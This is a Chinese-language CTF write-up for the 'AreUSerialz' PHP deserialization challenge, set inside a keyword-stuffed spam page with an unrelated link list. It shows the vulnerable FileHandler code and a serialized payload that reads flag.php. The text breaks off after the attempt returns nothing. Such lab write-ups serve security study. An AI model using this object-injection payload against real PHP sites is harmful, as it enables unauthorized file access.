当前位置: 首页 > news >正文

莱芜网站优化加徽信xiala5威海网站制作

莱芜网站优化加徽信xiala5,威海网站制作,wordpress 中字体插件,微信小程序个人网站开发导言&#xff1a; 本文主要讲述在CTF竞赛网鼎杯中&#xff0c;web类题目AreUSerialz。 靶场链接&#xff1a;BUUCTF在线评测 一&#xff0c;分析代码。 看到了一大段php代码。 <?php// 引入flag.php文件 include("flag.php");// 高亮显示当前文件 highlight…

  导言:

本文主要讲述在CTF竞赛网鼎杯中,web类题目AreUSerialz。

靶场链接:BUUCTF在线评测

一,分析代码。

看到了一大段php代码。

<?php// 引入flag.php文件
include("flag.php");// 高亮显示当前文件
highlight_file(__FILE__);// 定义FileHandler类
class FileHandler {// 定义属性protected $op;protected $filename;protected $content;// 构造函数function __construct() {// 初始化属性$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";// 调用process方法$this->process();}// 处理方法public function process() {// 根据op属性的值,调用不同的方法if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}// 写入文件方法private function write() {// 判断filename和content属性是否存在if(isset($this->filename) && isset($this->content)) {// 判断content属性的长度是否超过100if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}// 调用file_put_contents函数将content属性写入filename属性指定的文件$res = file_put_contents($this->filename, $this->content);// 判断写入是否成功if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}// 读取文件方法private function read() {$res = "";// 判断filename属性是否存在if(isset($this->filename)) {// 调用file_get_contents函数读取filename属性指定的文件内容$res = file_get_contents($this->filename);}return $res;}// 输出方法private function output($s) {echo "[Result]: <br>";echo $s;}// 析构函数function __destruct() {// 如果op属性的值为2,则将其改为1。if($this->op === "2")$this->op = "1";// 将content属性置空$this->content = "";// 调用process方法$this->process();}}// 定义is_valid函数,判断字符串是否合法
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}// 判断是否存在GET参数str
if(isset($_GET{'str'})) {// 获取GET参数str的值$str = (string)$_GET['str'];// 判断str是否合法if(is_valid($str)) {// 反序列化str$obj = unserialize($str);}}

可以知道:

1,这是一个反序列化题目。

2,使用get传参,传参名为:str。

3,flag在flag.php内。

4,代码中使用了is_valid函数来验证输入字符串的合法性,即传入的str的每个字母的ascii值在32和125之间。

5,根据其中的:

得知传参格式。

二,构造payload。

根据代码内的:

protected $op;protected $filename;protected $content;

可以知道,payload为:

<?phpclass FileHandler  {public  $op = 2;   //根据题意进行的传参public  $filename = "flag.php";public  $content = "2";     }$q = new FileHandler();     //对其进行反序列化操作        
echo(serialize($q));?>

输出结果为:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"2";}

使用hackbar进行传参后:

并无回显。

查看页面源码发现:

http://www.hkea.cn/news/505956/

相关文章:

  • 利用vps做网站关键字排名查询
  • 常熟网站制作找哪家好品牌型网站制作价格
  • 怎么做自己网站推广网络广告
  • 化州网站建设促销方法100种
  • 长沙专业网站设计平台新闻最新消息10条
  • 惠州网站建设制作宣传推广方案
  • 宁波网站推广外包服务长岭网站优化公司
  • 哈尔滨市哪里做淘宝网站seo课程心得体会
  • 做网站建设公司企业一个企业该如何进行网络营销
  • 移动端h5网站开发服务企业seo推广
  • 管理公司网站建设引擎搜索优化
  • 上市公司专利查询网站百度广告投放价格
  • html5电商网页制作网站怎么seo关键词排名优化推广
  • 大同网站建设黄冈网站推广优化找哪家
  • 昌邑网站建设站长之家网站排名
  • 建设企业网站的需求分析免费域名
  • 重庆欧勒精细有限公司网站策划书百度竞价推广开户
  • 怎么做一键添加信任网站ios aso优化工具
  • ps做网站的分辨率多少钱苹果cms永久免费建站程序
  • 网站推广积分常用于网站推广的营销手段是
  • wordpress时间云储存沈阳网站制作优化推广
  • h5响应式网站建设竞价托管哪家效果好
  • 企业解决方案参考网站品牌软文营销案例
  • 做淘客要有好的网站上海百度seo
  • 网站建设 seojsc宁德seo推广
  • 建立网站的作用信息流优化师工作总结
  • 如何建设物流网站近期时事新闻
  • 网站开发大赛发言稿网址搜索
  • 论坛类型的网站怎么做拉新推广平台有哪些
  • pc官方网站视频专用客户端app